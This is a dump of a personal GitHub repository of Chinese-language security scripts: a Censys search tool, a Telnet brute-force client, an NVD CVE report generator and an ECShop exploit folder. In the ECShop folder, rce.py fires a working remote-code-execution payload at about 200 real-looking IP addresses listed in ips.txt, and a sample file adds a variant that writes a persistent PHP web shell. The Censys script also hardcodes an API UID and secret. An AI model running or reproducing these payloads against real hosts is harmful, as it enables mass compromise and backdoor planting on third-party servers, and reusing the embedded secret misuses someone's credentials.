├── README.md ├── _config.yml ├── censys ├── README.md ├── __init__.py ├── censys.txt └── script.py ├── ecshop ├── __init__.py ├── ips.txt ├── rce.py └── sample ├── telnet ├── README.md └── telnet.py └── vul-info-collect ├── .DS_Store ├── README.md ├── __init__.py ├── list.css ├── mysql 5.7.21 ├── cve.html └── list.css ├── sample.png └── script.py /README.md: -------------------------------------------------------------------------------- 1 | # scripts 2 | 主要是收集自己编写、改造的一些小的脚本 3 | 4 | ## 更新日志 5 | 6 |

7 |

2021.10.15 ~ crt_check

8 | 批量自动化检查目标系统证书是否过期
9 | 独立项目连接：https://github.com/starnightcyber/crt_check 10 |

11 | 12 |

13 |

2020.12.13 ~ masnmap

14 | masscan + nmap 快速端口存活检测和服务识别。
15 | 独立项目连接：https://github.com/starnightcyber/masnmap 16 |

17 | 18 | 19 |

20 |

2020.4.19 ~ Nessus_to_report

21 | Nessus_to_report Nessus报告转中文，脚本更新至Python3
22 | 独立项目连接：https://github.com/starnightcyber/Nessus_to_report 23 |

24 | 25 |

26 |

2020.4.16 ~ ZoomEye

27 | ZoomEye脚本更新至Python3
28 | 独立项目连接：https://github.com/starnightcyber/ZoomEye 29 |

30 | 31 |

32 |

2020.4.13 ~ telnet

33 | Telnet客户端类，处理基本的登陆，执行命令，请随意改造。 34 |

35 | 36 |

37 |

2020.3.17 ~ cve_for_today

38 | 获取每日更新的CVE漏洞信息。
39 | 独立项目连接：https://github.com/starnightcyber/cve_for_today 40 |

41 | 42 |

43 |

2020.1.18 ~ vul-info-collect

44 | 从美国国家漏洞库NVD获取某个特定版本软件的漏洞统计信息 45 | 46 | 独立项目连接：https://github.com/starnightcyber/vul-info-collect 47 |

48 | 49 |

50 |

2018.10.31 ~ vul-info-collect

51 | 从NVD获取关于某个版本软件的漏洞信息。 52 | 53 | 博客链接:[获取某个版本软件存在的漏洞信息](https://www.cnblogs.com/Hi-blog/p/vulnerabilities-with-specific-version-of-software.html) 54 |

55 | 56 |

57 |

2018.1.30 ~ ip-reverse-to-domain

58 | ip到域名的反向解析，有一些在线工具可供使用，这个提供解析服务的站点好像之前挂过，不确定是否可以使用 59 | 60 | 项目地址:[ip-reverse-to-domain](https://github.com/starnightcyber/ip-reverse-to-domain) 61 |

62 | 63 |

64 |

2018.1.30 ~ findSubDomains

65 | 子域名爆破脚本 66 | 67 | 讲道理速度很快并且爆破出的域名和对应ip地址应该都有效 68 | 69 | 项目地址:[findSubDomains](https://github.com/starnightcyber/findSubDomains) 70 | 71 | 博客链接:[子域名爆破](http://www.cnblogs.com/Hi-blog/p/7606027.html) 72 |

73 | 74 | 75 |

76 |

2018.1.30 ~ Shodan

77 | Shodan 网络空间搜索引擎鼻祖，大家都懂 : https://www.shodan.io/ 78 | 79 | 项目地址:[Shodan](https://github.com/starnightcyber/Shodan) 80 | 81 | 博客链接:[Shodan 使用](http://www.cnblogs.com/Hi-blog/p/6904190.html) 82 |

83 | 84 |

85 |

2018.1.30 ~ ZoomEye

86 | ZoomEye 是国内的一款网络空间搜索引擎，很强和暴力，不多介绍：https://www.zoomeye.org/ 87 | 88 | 项目地址:[ZoomEye](https://github.com/starnightcyber/ZoomEye) 89 | 90 | 博客链接:[从ZoomEye API 到 Weblogic 弱口令扫描](http://www.cnblogs.com/Hi-blog/p/6127387.html) 91 |

92 | 93 |

94 |

2017.11.27 ~ Censys

95 | censys 是一款网络空间搜索引擎 https://censys.io 96 | 97 | 跟Shodan和ZoomEye等搜索引擎类似，目前可以免费使用，目前商业版也正在推出 98 | 99 | 关于Censys更详细的介绍，请参考博客：[Censys](http://www.cnblogs.com/Hi-blog/p/7798940.html "Censys") 100 |

101 | -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-hacker -------------------------------------------------------------------------------- /censys/README.md: -------------------------------------------------------------------------------- 1 | 2 | ## 简介 3 | censys 是一款网络空间搜索引擎 https://censys.io 4 | 5 | 跟Shodan和ZoomEye等搜索引擎类似，目前可以免费使用，目前商业版也正在推出 6 | 7 | 关于Censys更详细的介绍，请参考博客：[Censys](http://www.cnblogs.com/Hi-blog/p/7798940.html) 8 | 9 | ## Sample 10 | 11 | starnight:censys starnight$ python script.py 12 | please input query string : "weblogic" 13 | ('---', 'weblogic', '---') 14 | Total_count:11836 15 | please input file name to save data (censys.txt default) : "weblogic" 16 | page ：1 17 | Total_count:1183 18 | 46.244.104.198:80 19 | 46.244.104.198:8080 20 | 31.134.202.10:2323 21 | 31.134.202.10:80 22 | 31.134.202.10:8080 23 | 31.134.203.85:2323 24 | 31.134.203.85:80 25 | 31.134.203.85:8080 26 | 31.134.205.92:2323 27 | 31.134.205.92:80 28 | 31.134.205.92:8080 29 | 31.134.206.202:2323 30 | 31.134.206.202:80 31 | 31.134.206.202:8080 32 | 31.134.201.249:80 33 | 31.134.201.249:8080 34 | 31.134.202.233:80 35 | 31.134.202.233:8080 36 | 31.134.200.94:80 37 | 31.134.200.94:8080 38 | 31.134.201.248:80 39 | 31.134.201.248:8080 40 | 31.134.200.6:80 41 | 31.134.200.6:8080 42 | 46.244.105.216:80 43 | 46.244.105.216:8080 44 | 31.134.206.131:80 45 | 31.134.206.131:2323 46 | 31.134.206.131:8080 47 | 31.134.204.127:80 48 | 31.134.204.127:8080 49 | 46.244.10.173:80 50 | 46.244.10.173:23 51 | 46.244.10.173:8080 52 | 31.134.202.82:80 53 | 31.134.202.82:8080 54 | 46.244.105.252:80 55 | 46.244.105.252:2323 56 | 46.244.105.252:8080 57 | 31.134.205.186:2323 58 | 31.134.205.186:80 59 | 31.134.205.186:8080 60 | 31.134.204.223:80 61 | 31.134.204.223:8080 62 | 31.134.207.182:2323 63 | 31.134.207.182:80 64 | 31.134.207.182:8080 65 | -------------------------------------------------------------------------------- /censys/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/starnightcyber/scripts/9432d9f6a170b9d873ed97e970a7c9475303498e/censys/__init__.py -------------------------------------------------------------------------------- /censys/script.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | 4 | import sys 5 | import json 6 | import requests 7 | import time 8 | 9 | API_URL = "https://www.censys.io/api/v1" 10 | UID = "aa7c1f3a-b6ab-497d-9788-5e9e4898a655" 11 | SECRET = "rSEvCfRQexNKXmpx940DQXWExWAFjkt1" 12 | page = 1 13 | PAGES = 2 # the pages you want to fetch 14 | 15 | 16 | def getIp(query, page): 17 | ''' 18 | Return ips and total amount when doing query 19 | ''' 20 | iplist = [] 21 | data = { 22 | "query": query, 23 | "page": page, 24 | "fields": ["ip", "protocols", "location.country"] 25 | } 26 | try: 27 | res = requests.post(API_URL + "/search/ipv4", data=json.dumps(data), auth=(UID, SECRET)) 28 | 29 | except: 30 | pass 31 | try: 32 | results = res.json() 33 | except: 34 | pass 35 | if res.status_code != 200: 36 | print("error occurred: %s" % results["error"]) 37 | sys.exit(1) 38 | # total query result 39 | # iplist.append("Total_count:%s" % (results["metadata"]["count"])) 40 | 41 | # add result in some specific form 42 | for result in results["results"]: 43 | for i in result["protocols"]: 44 | # iplist.append(result["ip"] + ':' + i + ' in ' + result["location.country"][0]) 45 | iplist.append(result["ip"] + ':' + i) 46 | # return ips and total count 47 | return iplist, results["metadata"]["count"] 48 | 49 | 50 | if __name__ == '__main__': 51 | 52 | query = input('please input query string : ') 53 | print('---', query, '---') 54 | ips, num = getIp(query=query, page=page) 55 | 56 | print("Total_count:%s" % num) 57 | 58 | dst = input('please input file name to save data (censys.txt default) : ') 59 | 60 | # 保存数据到文件 61 | if dst: 62 | dst = dst + '.txt' 63 | else: 64 | dst = 'censys.txt' 65 | 66 | # get result and save to file page by page 67 | with open(dst, 'a') as f: 68 | while page <= PAGES: 69 | print('page ：' + str(page)) 70 | iplist, num = (getIp(query=query, page=page)) 71 | page += 1 72 | 73 | for i in iplist: 74 | print i[:i.find('/')] 75 | 76 | for i in iplist: 77 | f.write(i[:i.find('/')] + '\n') 78 | time.sleep(3) 79 | print('Finished. data saved to file', dst) 80 | -------------------------------------------------------------------------------- /ecshop/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/starnightcyber/scripts/9432d9f6a170b9d873ed97e970a7c9475303498e/ecshop/__init__.py -------------------------------------------------------------------------------- /ecshop/ips.txt: -------------------------------------------------------------------------------- 1 | 54.223.184.91:80 2 | 54.65.116.232:80 3 | 54.223.208.255:80 4 | 54.223.202.126:80 5 | 54.223.213.120:80 6 | 54.223.219.33:80 7 | 54.223.204.56:80 8 | 58.64.143.240:443 9 | 58.215.76.27:443 10 | 123.233.118.21:8080 11 | 123.57.91.18:8080 12 | 123.58.133.42:8080 13 | 60.250.51.94:80 14 | 60.205.215.172:80 15 | 60.174.234.7:80 16 | 60.174.234.112:80 17 | 60.251.118.245:80 18 | 60.199.243.180:80 19 | 60.248.187.50:80 20 | 60.173.245.244:80 21 | 60.205.180.63:80 22 | 60.6.234.111:80 23 | 60.205.156.56:80 24 | 60.205.114.84:80 25 | 60.205.123.114:80 26 | 60.250.51.91:80 27 | 60.161.14.95:80 28 | 121.199.13.180:88 29 | 198.55.121.113:443 30 | 198.20.83.74:443 31 | 198.2.205.60:443 32 | 198.1.115.121:443 33 | 211.149.202.23:81 34 | 36.102.220.44:82 35 | 139.224.64.155:443 36 | 139.198.124.213:443 37 | 139.196.252.220:443 38 | 139.129.200.231:443 39 | 139.196.176.28:443 40 | 139.198.126.92:443 41 | 139.162.108.158:443 42 | 139.196.114.108:443 43 | 139.129.218.155:443 44 | 173.254.231.80:443 45 | 122.112.210.197:82 46 | 123.206.63.118:8010 47 | 140.143.100.101:443 48 | 140.207.158.60:443 49 | 219.138.105.202:8090 50 | 72.41.84.202:80 51 | 114.215.238.190:81 52 | 116.62.128.52:8088 53 | 198.55.121.113:80 54 | 198.2.206.239:80 55 | 198.27.87.230:80 56 | 43.247.176.115:8080 57 | 47.106.112.73:8080 58 | 61.164.161.42:8080 59 | 61.155.60.188:8080 60 | 61.163.95.250:8080 61 | 116.255.250.98:8081 62 | 116.255.250.64:8081 63 | 121.46.128.248:8080 64 | 121.201.66.149:8080 65 | 113.106.89.242:8080 66 | 115.28.174.58:8080 67 | 116.255.185.187:8080 68 | 116.255.185.161:8080 69 | 116.255.185.169:8080 70 | 116.255.185.172:8080 71 | 116.255.185.175:8080 72 | 116.255.185.160:8080 73 | 116.255.185.179:8080 74 | 116.255.185.165:8080 75 | 116.255.185.166:8080 76 | 116.255.185.182:8080 77 | 116.255.185.177:8080 78 | 116.255.185.168:8080 79 | 116.255.185.180:8080 80 | 116.255.185.163:8080 81 | 116.255.229.106:8080 82 | 116.255.185.184:8080 83 | 116.255.185.183:8080 84 | 116.255.185.185:8080 85 | 116.62.195.29:8080 86 | 116.255.185.174:8080 87 | 118.178.225.118:8080 88 | 118.193.203.154:8080 89 | 119.90.149.200:8080 90 | 122.14.200.53:8080 91 | 124.164.241.171:8080 92 | 124.133.228.144:8080 93 | 139.224.3.96:8080 94 | 222.73.135.210:8080 95 | 205.209.185.36:8083 96 | 139.199.19.123:8888 97 | 140.207.114.214:8090 98 | 117.34.70.140:443 99 | 117.41.235.168:443 100 | 120.25.105.14:8088 101 | 120.25.223.215:8088 102 | 120.24.75.187:8088 103 | 112.124.26.5:5000 104 | 119.180.20.209:8000 105 | 118.24.133.227:443 106 | 118.123.17.178:443 107 | 118.23.162.143:443 108 | 118.190.101.215:443 109 | 118.31.249.220:443 110 | 118.193.189.93:443 111 | 118.193.189.94:443 112 | 118.25.38.74:443 113 | 118.123.18.98:443 114 | 118.89.46.63:443 115 | 118.25.119.182:443 116 | 120.79.174.15:8002 117 | 101.201.122.19:81 118 | 13.228.94.125:80 119 | 13.229.21.16:80 120 | 13.113.239.161:80 121 | 13.228.118.154:80 122 | 13.113.65.254:80 123 | 13.113.8.25:80 124 | 13.75.94.228:80 125 | 13.229.161.92:80 126 | 13.228.232.15:80 127 | 13.124.140.255:80 128 | 13.75.120.16:80 129 | 13.94.47.234:80 130 | 13.75.46.187:80 131 | 13.112.27.57:80 132 | 13.228.129.107:80 133 | 13.250.173.205:80 134 | 13.251.38.215:80 135 | 13.112.194.18:80 136 | 13.113.149.110:80 137 | 13.115.154.185:80 138 | 13.250.124.140:80 139 | 118.139.188.163:80 140 | 118.24.23.121:80 141 | 118.24.17.179:80 142 | 118.190.149.8:80 143 | 118.184.23.254:80 144 | 118.178.185.188:80 145 | 118.31.249.220:80 146 | 118.89.46.63:80 147 | 118.184.64.99:80 148 | 118.190.151.184:80 149 | 118.89.187.145:80 150 | 118.184.30.251:80 151 | 118.190.140.40:80 152 | 118.140.0.238:80 153 | 118.190.75.41:80 154 | 118.190.208.99:80 155 | 118.244.234.181:80 156 | 118.89.170.109:80 157 | 118.31.76.95:80 158 | 118.190.104.157:80 159 | 118.23.162.143:80 160 | 118.144.133.74:80 161 | 118.31.102.227:80 162 | 118.193.189.94:80 163 | 118.26.135.62:80 164 | 118.178.195.50:80 165 | 118.190.70.58:80 166 | 118.178.152.222:80 167 | 118.190.145.41:80 168 | 118.178.125.213:80 169 | 223.112.5.42:80 170 | 223.26.62.245:80 171 | 223.26.50.31:80 172 | 223.26.49.228:80 173 | 223.93.185.53:80 174 | 223.4.92.17:80 175 | 223.26.49.239:80 176 | 1.234.20.78:80 177 | 1.34.241.117:80 178 | 1.34.157.105:80 179 | 1.171.55.153:80 180 | 111.30.66.29:8090 181 | 13.112.135.89:80 182 | 13.228.201.159:80 183 | 171.34.77.29:80 184 | 23.249.181.228:80 185 | 23.97.74.84:80 186 | 23.102.224.231:80 187 | 23.97.74.96:80 188 | 23.102.232.51:80 189 | 27.223.97.172:80 190 | 27.105.106.55:80 191 | 36.111.197.135:80 192 | 39.106.151.108:80 193 | 39.105.124.197:80 194 | 39.106.19.179:80 195 | 39.108.102.190:80 196 | 39.108.105.219:80 197 | 39.108.172.180:80 198 | 39.108.182.29:80 199 | 39.108.246.219:80 200 | 39.106.140.151:80 -------------------------------------------------------------------------------- /ecshop/rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | 4 | """ 5 | references: 6 | https://www.anquanke.com/post/id/158677 7 | http://www.freebuf.com/vuls/182899.html 8 | """ 9 | 10 | import os 11 | import requests 12 | 13 | payload = ''' --connect-timeout 10 -m 20 -d 'action=login&vulnspy=phpinfo();exit;' -H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca' 14 | ''' 15 | succeed = set() 16 | 17 | 18 | def attack(ip_port): 19 | # step 1 : construct target url 20 | # distinguish http/https 21 | proto = 'http' 22 | if ':' in ip_port: 23 | ip, port = ip_port.split(':') 24 | if port == '443': 25 | proto = 'https' 26 | 27 | target = '{}://{}/user.php'.format(proto, ip_port) 28 | 29 | # step 2 : construct command to execute 30 | cmd = 'curl {} {}'.format(target, payload) 31 | try: 32 | # step 3: execute curl command 33 | result = os.popen(cmd).read() 34 | 35 | # step 4: check whether vulnerable 36 | cmd2 = '{}://{}/vulnspy.php?vulnspy=phpinfo();'.format(proto, ip_port) 37 | request = requests.get(cmd2, timeout=15) 38 | 39 | print(request.status_code) 40 | print() 41 | if request.status_code == 200 and 'PHP Version' in request.text: 42 | msg = '{} is vulnerable to rce\n'.format(ip_port) 43 | succeed.add(ip_port) 44 | print(msg) 45 | except: 46 | pass 47 | 48 | 49 | if __name__ == '__main__': 50 | # target = '*.*.*.*' 51 | i = 1 52 | with open('ips.txt', 'r') as fr: 53 | for line in fr.readlines(): 54 | target = line.strip() 55 | print('%d : checkng %s' % (i, target)) 56 | i += 1 57 | attack(target) 58 | 59 | if len(succeed) != 0: 60 | print('\n\n\n------ following hosts are vulnerable --------') 61 | for line in succeed: 62 | print(line) 63 | 64 | -------------------------------------------------------------------------------- /ecshop/sample: -------------------------------------------------------------------------------- 1 | 2 | curl http://***/user.php -d 'action=login&vulnspy=phpinfo();exit;' -H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca' 3 | 4 | 5 | curl http://***/user.php -d 'action=login&vulnspy=eval(base64_decode($_POST[d]));exit;&d=ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOz8%2BJyk7' -H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca' 6 | 7 | 8 | http://*.*.*/vulnspy.php?vulnspy=phpinfo(); 9 | 10 | 11 | -------------------------------------------------------------------------------- /telnet/README.md: -------------------------------------------------------------------------------- 1 | # TelnetClient 2 | TelnetClient类，处理Telnet客户端相关，如最基本的登录和执行命令。 3 | 4 | ## Telnet登陆认证相关 5 | 6 | ``` 7 | auth = { 8 | "user_prompt": b'Username:', # 输入用户名提示 9 | "password_prompt": b'Password:', # 输入密码提示 10 | "enter": b'\r', # 回车 11 | "remote_enter": b'\n\r', 12 | } 13 | ``` 14 | 有一点请注意，标准输入结尾是换行'\n'，也有一些是回车'\r'。 15 | 16 | ## Sample 17 | 仅供演示，脚本请自己改造。 18 | 19 | ``` 20 | # python3 telnet_brute.py 21 | trying to login 172.16.176.120:2570 telnet service 22 | try user:[admin], password:[admin] 23 | try user:[aaa], password:[bbb] 24 | try user:[], password:[] 25 | 登录成功 26 | ==> ver 27 | Version :PAS_SIPPROXY_6.0.0.3.0.190831, Compile Time: 16:18:41, Feb 25 2020 28 | Return value: 1 29 | SipPrxoy-> 30 | ``` 31 | 以上！ -------------------------------------------------------------------------------- /telnet/telnet.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | 4 | import logging 5 | import telnetlib 6 | import time 7 | 8 | 9 | # telnet登录认证相关 10 | auth = { 11 | "user_prompt": b'Username:', # 输入用户名提示 12 | "password_prompt": b'Password:', # 输入密码提示 13 | "enter": b'\r', # 回车 14 | "remote_enter": b'\n\r', 15 | } 16 | 17 | 18 | class TelnetClient(object): 19 | def __init__(self): 20 | self.tn = telnetlib.Telnet() # Telnet client 21 | 22 | def login(self, ip, port, tel_dict): 23 | """ 24 | telnet 登录 25 | :param ip: 目标ip 26 | :param port: 目标端口 27 | :param tel_dict: 密码字典 28 | :return: 登录成功(True) or 登录失败(False) 29 | """ 30 | msg = 'trying to login {}:{} telnet service'.format(ip, port) 31 | print(msg) 32 | 33 | # telnet登录 34 | for username, password in tel_dict.items(): 35 | 36 | # 创建一个telnet连接 37 | try: 38 | self.tn.open(ip, port) 39 | except: 40 | logging.warning('%s网络连接失败' % ip) 41 | return False, '' 42 | 43 | msg = 'try user:[{}], password:[{}]'.format(username, password) 44 | print(msg) 45 | 46 | # 登录尝试 47 | try: 48 | # 等待输入用户名提示user_prompt出现后，输入用户名 49 | self.tn.read_until(auth['user_prompt'], timeout=3) 50 | self.tn.write(username.encode('ascii') + auth['enter']) 51 | 52 | # 等待输入密码提示password_prompt出现后，输入密码 53 | self.tn.read_until(auth['password_prompt'], timeout=3) 54 | self.tn.write(password.encode('ascii') + auth['enter']) 55 | 56 | # 延时两秒再收取返回结果，给服务端足够响应时间 57 | time.sleep(2) 58 | 59 | # 获取登录结果, read_very_eager()获取到的是的是上次获取之后本次获取之前的所有输出 60 | command_result = self.tn.read_very_eager().decode('ascii') 61 | # print('===>', command_result) 62 | prompt, _ = command_result.split('->') 63 | # print('===>', prompt.strip()) 64 | 65 | # 如果返回的结果中没有提示输入用户名，表示登录成功 66 | if auth['user_prompt'] not in command_result.encode('ascii'): 67 | print('登录成功') 68 | return True 69 | else: 70 | continue 71 | except: 72 | pass 73 | return False 74 | 75 | def execute_command(self, command): 76 | """ 77 | 执行一些命令 78 | :param command: 要执行的命令 79 | :return: None 80 | """ 81 | try: 82 | self.tn.write(command.encode('ascii') + auth['enter']) 83 | time.sleep(2) 84 | # 获取命令结果 85 | command_result = self.tn.read_very_eager().decode('ascii') 86 | print('==>', command_result) 87 | except: 88 | print('something went wrong...') 89 | pass 90 | 91 | # 退出telnet，保留 92 | def logout_host(self): 93 | self.tn.write(b"bye\r") 94 | 95 | if __name__ == '__main__': 96 | 97 | # 参数 98 | ip = '172.16.176.120' 99 | port = '2570' 100 | tel_dict = {'admin': 'admin', 'aaa': 'bbb', '': ''} 101 | 102 | # 登陆 103 | tn = TelnetClient() 104 | tn.login(ip, port, tel_dict) 105 | 106 | # 执行命令 107 | command = 'ver' 108 | tn.execute_command(command) 109 | 110 | # 退出 111 | tn.logout_host() -------------------------------------------------------------------------------- /vul-info-collect/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/starnightcyber/scripts/9432d9f6a170b9d873ed97e970a7c9475303498e/vul-info-collect/.DS_Store -------------------------------------------------------------------------------- /vul-info-collect/README.md: -------------------------------------------------------------------------------- 1 | # vul-info-collect 2 | 3 | 从NVD获取关于某个版本软件的漏洞信息。 4 | 5 | 博客链接:[获取某个版本软件存在的漏洞信息](https://www.cnblogs.com/Hi-blog/p/vulnerabilities-with-specific-version-of-software.html) 6 | 7 | ## Sample 8 | 9 | ![image](https://github.com/starnightcyber/scripts/blob/master/vul-info-collect/sample.png) 10 | 11 | -------------------------------------------------------------------------------- /vul-info-collect/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/starnightcyber/scripts/9432d9f6a170b9d873ed97e970a7c9475303498e/vul-info-collect/__init__.py -------------------------------------------------------------------------------- /vul-info-collect/list.css: -------------------------------------------------------------------------------- 1 | body{background: #f5f5f5;margin: 0px; margin-top: -20px;padding: 0px;}#div_title{ background: #2171c2; color: #fff; height: 60px; box-shadow: 0 .25em .75em #CCC; padding-top: 15px; margin-top: 0px; font-family: "Microsoft Yahei" normal; font-size: 12px; z-index: 20; position: fixed; width: 100%;}#div_title_inner{ width: 1004px; margin-left: auto; margin-right: auto;}#div_title h2{ width: 130px; display: inline-block; float: right; margin-top: 3.5%;}#div_title h1{ font-weight: normal; margin-left: auto; margin-right: auto; display: inline-block; font-family: "Microsoft YaHei" !important;}#div_title_occupy{ height: 69px;}#div_main{width: 1004px;font-family: "Microsoft Yahei",helvetica,'Lucida Grande',Tahoma,Verdana,Simsun,Arial,Clean;margin-left: auto;margin-right: auto; margin-top: 15px;}#div_content{ position: fixed; width: 250px; overflow-y:scroll; height:520px; overflow: auto; background-color: #f2f2f2; padding-left: 15px; margin-top: 2px;}#div_content_body h3{ height: 10px;}#div_body{ margin-left: 250px; width: 824px; overflow: auto}#example_div{width: 650px;border: 1px dashed #cecfcf;background : #f5f6f7;font-family: Consolas,Menlo,"Liberation Mono",Courier,monospace!important;padding-left: 2px;padding-top: 5px;padding-bottom: 5px;font-size: 13px;min-height: 50px;}#uri_list_div a { color: #5f940a; text-decoration: none; font-size: 13px; height: 10px}#uri_list_div a:hover{ text-decoration: underline;}#data_style{ width:70px;}table.uri_t td{padding-left: 10px; width: 550px;}table.t { font-size: 13px; margin-top: 5px; margin-bottom: 5px; width: 655px; border: 1px solid #e4e4e4; border-right: 0; border-collapse: collapse;}table.t tr { min-height: 25px; line-height: 20px;}table.t th { background-color: #efefef; text-align: center; border-right: 1px solid #e4e4e4; border-bottom: 1px solid #e4e4e4; color: #000;}table.t td { border-right: 1px solid #e4e4e4; border-bottom: 1px solid #e4e4e4; color: #000; background-color: #fff; text-align: left; padding-left: 5px;}#div_get, #div_post, #div_push{ background-color: #fff; box-shadow: 0 2px 5px 0 rgba(0,0,0,.26); padding: 64px; margin: 2px 20px 20px 20px;} -------------------------------------------------------------------------------- /vul-info-collect/mysql 5.7.21/cve.html: -------------------------------------------------------------------------------- 1 | CVEs

CVEs for mysql 5.7.21

漏洞列表

CVE-2018-3286    中
CVE-2018-3284    中
CVE-2018-3283    中
CVE-2018-3282    中
CVE-2018-3279    中
CVE-2018-3278    中
CVE-2018-3277    中
CVE-2018-3276    中
CVE-2018-3251    中
CVE-2018-3247    中
CVE-2018-3212    中
CVE-2018-3203    中
CVE-2018-3200    中
CVE-2018-3195    中
CVE-2018-3187    中
CVE-2018-3186    中
CVE-2018-3185    中
CVE-2018-3182    中
CVE-2018-3174    中
CVE-2018-3173    中
CVE-2018-3171    中
CVE-2018-3170    中
CVE-2018-3162    中
CVE-2018-3161    中
CVE-2018-3156    中
CVE-2018-3155    高
CVE-2018-3145    中
CVE-2018-3144    中
CVE-2018-3143    中
CVE-2018-3137    中
CVE-2018-3133    中
CVE-2018-3084    低
CVE-2018-3082    低
CVE-2018-3081    中
CVE-2018-3080    中
CVE-2018-3079    中
CVE-2018-3078    中
CVE-2018-3077    中
CVE-2018-3075    中
CVE-2018-3074    中
CVE-2018-3073    中
CVE-2018-3071    中
CVE-2018-3070    中
CVE-2018-3067    中
CVE-2018-3066    低
CVE-2018-3065    中
CVE-2018-3064    高
CVE-2018-3062    中
CVE-2018-3061    中
CVE-2018-3060    中
CVE-2018-3058    中
CVE-2018-3056    中
CVE-2018-3054    中
CVE-2018-2767    低
CVE-2018-2846    中
CVE-2018-2839    中
CVE-2018-2819    中
CVE-2018-2818    中
CVE-2018-2817    中
CVE-2018-2816    中
CVE-2018-2813    中
CVE-2018-2812    中
CVE-2018-2810    中
CVE-2018-2787    中
CVE-2018-2786    中
CVE-2018-2784    中
CVE-2018-2782    中
CVE-2018-2781    中
CVE-2018-2780    中
CVE-2018-2779    中
CVE-2018-2778    中
CVE-2018-2777    中
CVE-2018-2776    中
CVE-2018-2775    中
CVE-2018-2773    中
CVE-2018-2771    中
CVE-2018-2769    中
CVE-2018-2766    中
CVE-2018-2762    中
CVE-2018-2761    中
CVE-2018-2759    中
CVE-2018-2758    中
CVE-2018-2755    高

等级	严重	高危	中危	低危
个数(83)	0	3	76	4

漏洞编号	CVE-2018-3286
威胁评分	4.3
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 2 | (subcomponent: Server: Security: Privileges). Supported versions that 3 | are affected are 8.0.12 and prior. Easily exploitable vulnerability 4 | allows low privileged attacker with network access via multiple 5 | protocols to compromise MySQL Server. Successful attacks of this 6 | vulnerability can result in unauthorized update, insert or delete 7 | access to some of MySQL Server accessible data. CVSS 3.0 Base Score 8 | 4.3 (Integrity impacts). CVSS Vector: 9 | (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N). 10 | 11 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3286
https://nvd.nist.gov/vuln/detail/CVE-2018-3286

漏洞编号	CVE-2018-3284
威胁评分	4.4
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 12 | (subcomponent: InnoDB). Supported versions that are affected are 13 | 5.7.23 and prior and 8.0.12 and prior. Difficult to exploit 14 | vulnerability allows high privileged attacker with network access via 15 | multiple protocols to compromise MySQL Server. Successful attacks of 16 | this vulnerability can result in unauthorized ability to cause a hang 17 | or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 18 | 3.0 Base Score 4.4 (Availability impacts). CVSS Vector: 19 | (CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H). 20 | 21 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3284
https://nvd.nist.gov/vuln/detail/CVE-2018-3284

漏洞编号	CVE-2018-3283
威胁评分	4.4
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 22 | (subcomponent: Server: Logging). Supported versions that are affected 23 | are 5.7.23 and prior and 8.0.12 and prior. Difficult to exploit 24 | vulnerability allows high privileged attacker with network access via 25 | multiple protocols to compromise MySQL Server. Successful attacks of 26 | this vulnerability can result in unauthorized ability to cause a hang 27 | or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 28 | 3.0 Base Score 4.4 (Availability impacts). CVSS Vector: 29 | (CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H). 30 | 31 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3283
https://nvd.nist.gov/vuln/detail/CVE-2018-3283

漏洞编号	CVE-2018-3282
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

